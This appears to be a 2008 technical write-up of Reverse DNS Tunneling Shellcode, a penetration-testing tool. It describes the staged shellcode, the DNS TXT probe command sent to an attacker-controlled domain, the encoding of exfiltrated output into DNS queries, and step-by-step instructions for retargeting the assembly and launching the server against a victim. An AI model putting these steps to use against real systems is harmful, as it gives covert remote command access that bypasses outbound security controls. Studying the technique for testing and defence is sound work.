Reverse DNS Tunneling Shellcode (v0.3) Technical Details

This is not the latest version of Reverse DNS Tunneling Shellcode. Please check the latest paper to find the latest up to date information.

What is Reverse DNS Tunneling Shellcode?

Reverse DNS Tunneling Shellcode was created by Ty Miller. He presented and released this attack technique and tool at Blackhat USA 2008. As a part of this presentation, Ty launched Project Shellcode (www.projectshellcode.com) which is aimed at becoming the knowledge base for shellcode resources, as well as being the starting point towards creating a "Shellcode Development Framework". Ty is the Chief Technical Officer and Penetration Tester for Pure Hacking, and is also one of the authors of the latest Hacking Exposed Linux, Third Edition.

DNS Tunneling has been around since 1998 and allows an attacker to bypass outbound security controls and devices by tunneling IP over DNS.

Reverse DNS Tunneling Shellcode allows a penetration tester to remotely exploit a client-side vulnerability, such as within a web browser or local workstation software, and tunnel the command prompt for the system back over DNS to the tester bypassing various layers of outbound security controls.

This provides penetration testers with the ability to reliably compromise an internal system and gain a remote command prompt, which they can then use as a foothold within the organization's internal network.

Why was this shellcode developed?

Over the past 4-5 years we have seen a shift in "vulnerability location" from publicly accessible systems, such as web or mail servers, to client-side systems, such as workstations.

In earlier days of penetration testing, externally accessible systems contained a large number of vulnerabilities, where as these days there are far fewer exploitable vulnerabilities within publicly available systems.

Fortunately for penetration testers, vulnerabilities are still rampant within client-side software, such as web browsers and plugins, PDF readers, audio and video software, as well as software such as Word, PowerPoint and Excel.

The "exploit development location" also shifted to focus on client-side vulnerabilities. The problem that appeared was that the "shellcode development location" didn't shift as fast, which meant that penetration testers were left using shellcode that was unable to bypass any outbound security controls that exist around client-side systems. These security controls include various layers of firewalls and web proxies that may require authentication.

This meant that even if the exploit was successful against the client-side system, the shellcode would fail to connect back to the penetration tester, and they would not have successfully compromised the victim host.

Reverse DNS Tunneling Shellcode technical summary:

Reverse DNS Tunneling Shellcode consists of the following components;

Reverse DNS Shellcode Server

This custom DNS server is written in Perl and is designed to act as the interface between the penetration tester and the shellcode via automatic shellcode generation and DNS request and response handling.

Currently this DNS server works great on Linux. Unfortunately, Perl on Windows has a different way of handling sockets and therefore it needs a little more work to get it working across both platforms.

Reverse DNS Shellcode Stage 1 Generator

The stage 1 shellcode generator creates the shellcode to be injected into the exploit being used to compromise the remote system. This produces raw shellcode as well as Unicode encoded shellcode for easy insertion into web-based exploits.

Currently this shellcode needs to be tuned manually via the assembler file to change the tester's domain; however, this will be resolved in the next release to allow dynamic shellcode generation via a command option.

Reverse DNS Tunneling Shellcode Communications Protocol:

The following points demonstrate the steps carried out to successfully gain a remote command prompt on a compromised machine tunneled over DNS;

Attacker starts DNS Tunneling Shellcode Server

The attacker is presented with a prompt to enter in an initial command. This command can be entered before the exploit has actually been sent to ensure that no DNS requests coming from the compromised host are wasted.

Client-side exploit sent or downloaded to victim host

The attacker then sends out their exploit to the victim containing the Reverse DNS Tunneling Shellcode that was generated by using the Reverse DNS Shellcode Stage 1 Generator program.

Generally for client-side exploits this may be carried out via Phishing or Social Engineering attacks, malicious websites, Stored XSS vulnerabilities, or physical access to the systems.

Exploit triggers shellcode

If the exploit is successful, it will jump to the Stage 1 Reverse DNS Tunneling Shellcode.

Stage1 shellcode probes attackers DNS server

The stage 1 shellcode finds Kernel32.dll and GetProcAddress, creates pipes for Child STDIN and STDOUT to cmd.exe, creates a new child Process and executes;

nslookup -q=TXT -timeout=9 BZG6YTF.0000-0000.0001.0001.domain.com

This DNS TXT request probe is sent out via the internal DNS server, out through the external DNS relay, and ends up at the attacker's custom DNS server. At this stage the shellcode has managed to bypass all outbound security controls in order to connect back to the attacker.

Custom DNS server receives the probe request

The attacker now knows that the victim host has been exploited and is ready to run our command.

Our custom DNS server now generates the stage 2 shellcode based on the command that was entered previously. This command is injected into a modified version of Windows Exec ASM code that is designed to run a single command on the system and also captures the command output. The modified WinExec ASM is compiled & the shellcode is extracted.

The DNS protocol only supports ASCII characters, however, raw shellcode is highly likely to contain binary characters. The extracted shellcode is therefore alphanumerically encoded so that the shellcode is made up of only upper and lowercase letters and numbers.

This alphanumeric shellcode is then formatted to fit within a DNS TXT response and sent back to the stage 1 shellcode running on the victim host.
Stage1 shellcode receives DNS TXT response

The stage 1 shellcode reads the DNS TXT response from the child STDOUT pipe. It then locates the beginning of the TXT section of the DNS response and strips the DNS formatting from the stage 2 alphanumeric shellcode.

Stage 1 Shellcode calls the Stage 2 Shellcode

At this stage, now that the DNS formatting has been stripped, the stage 1 shellcode is able to call the stage 2 shellcode that was just downloaded via the DNS TXT request. Once the stage 2 shellcode has been called it automatically decodes the shellcode back to its original raw shellcode.

This raw shellcode is then executed which ultimately runs the attacker's command on the system and grabs the output via STDIN and STDOUT pipes. This output is then base32 encoded, split up and delimited to fit into DNS protocol restrictions, and then sent back to the attacker's custom DNS server via gethostbyname calls. These DNS requests are formatted as shown below;

BASE32.ENCODED.DATA.numLoops-currentLoop.requestId.sessionId.domain.com

BASE32.ENCODED.DATA.0005-0001.0022.0001.domain.com
BASE32.ENCODED.DATA.0005-0002.0023.0001.domain.com
BASE32.ENCODED.DATA.0005-0003.0024.0001.domain.com
BASE32.ENCODED.DATA.0005-0004.0025.0001.domain.com
BASE32.ENCODED.DATA.0005-0005.0026.0001.domain.com

Reverse Shellcode DNS Server Reconstructs Output

The custom DNS server then pieces these requests back together based on the numLoops and currentLoop sections of the request. The base32 encoded data is put back together, decoded, and then displayed to the attacker. The requestId section of the request continually increments to ensure that DNS caches to not interfere with the DNS requests.

Success!

At this stage the attacker has successfully compromised the system, tunneled a command to be executed on the system over DNS, executed the command and piped the output back over DNS where it was reconstructed, decoded and then displayed to the attacker.

This process repeats continually allowing an ongoing interactive shell to the compromised system over DNS.

Current Limitations:

stage 1 asm is currently hardcoded for tysblackhat.com
   - need to make a generator program so that this is dynamic
stage2 shellcode creates files on the desktop of victim if it dies
issues exist for requestId numbers greater than 99
no WSAStartup so only works with internet connected software
sleep is hardcoded
GetProcAddress is hardcoded
the server dies periodically, but no big deal since the probes continue, so you can start it back up and keep sending commands
slow from command line due to DNS
back slashes aren't escaped
shellcode is memory resident and is not persistent

Considerations:

It is not a console. It an interface to run a single command at a time.
No environment carried between commands
- navigation is useless. Listing directories done in one command.
- i.e. useless to cd to a directory since the next command starts at the desktop again

How To:

1. Compile asc.c for alphanumeric encoding

gcc -o asc asc.c

2. Modify hardcoded domain in reverse-dns-shellcode-stage1-v03.asm

In future versions this will be automated via a generator program like for the stage 2 shellcode.

Towards the bottom you will find the following lines;

GetCommandString:
call GetCommandStringReturn
db 'nslookup -q=TXT -timeout=9 OBZG6YTF.0000-0000.0000.0001.tysblackhat.comN'

Change the domain from "tysblackhat.com" to be your domain.

This screws up a couple of hardcoded values in the shellcode that needs to be updated to reflect the size of your domain string. Locate the following lines and update the numbers based on the comments below;

jmp GetCommandString
GetCommandStringReturn:
pop ecx
mov edx,0x0000000A
mov [ecx + 71],dl ;71 is the length of the above db string without the "N". Update this to reflect your domain string length.

lea edi,[ebp-606Ch]
lea esi,[ecx]
mov ecx,72 ;Here we have 72. Similarly change this but obviously add one to your value above.
rep movsb

mov dword [ebp-6070h],48h ;48h is the hex version of 72 ... Change your second value above to hex.

3. Compile the stage 1 shellcode

You need to have nasm, xxd and bash installed and in your path. I am using;
nasm version 2.03.01
xxd version V1.10

If you have this then run the following;

./reverse-dns-shellcode-stage1-compiler-v03.sh reverse-dns-shellcode-stage1-v03.asm

This will produce the following files and will also output some of this to STDOUT;

reverse-dns-shellcode-stage1-v03.bin
reverse-dns-shellcode-stage1-v03.shellcode
reverse-dns-shellcode-stage1-v03.unicode
reverse-dns-shellcode-stage1-v03-ms07-004.html

4. Insert the shellcode into your exploit

reverse-dns-shellcode-stage1-v03-ms07-004.html has been included just as a sample exploit that automatically gets the shellcode inserted.

5. Start the Reverse DNS Tunneling Shellcode DNS Server

I created a start script for this;

reverse-dns-shellcode-server-start-v03.sh

Edit this file to replace tysblackhat.com to contain your domain name, then run it.

This should drop you to an initial command prompt where you can enter your first command before you even send off your exploit. This is to ensure that we don't waste any DNS probes from the victim host so we run commands immediatly.

From here you basically send off your exploit and wait for the DNS Server to display "[Command Sent Over DNS]", which means it is go time!

You should now have a command prompt on your victim host tunneled over DNS.

Enjoy and keep an eye out for later versions of the shellcode.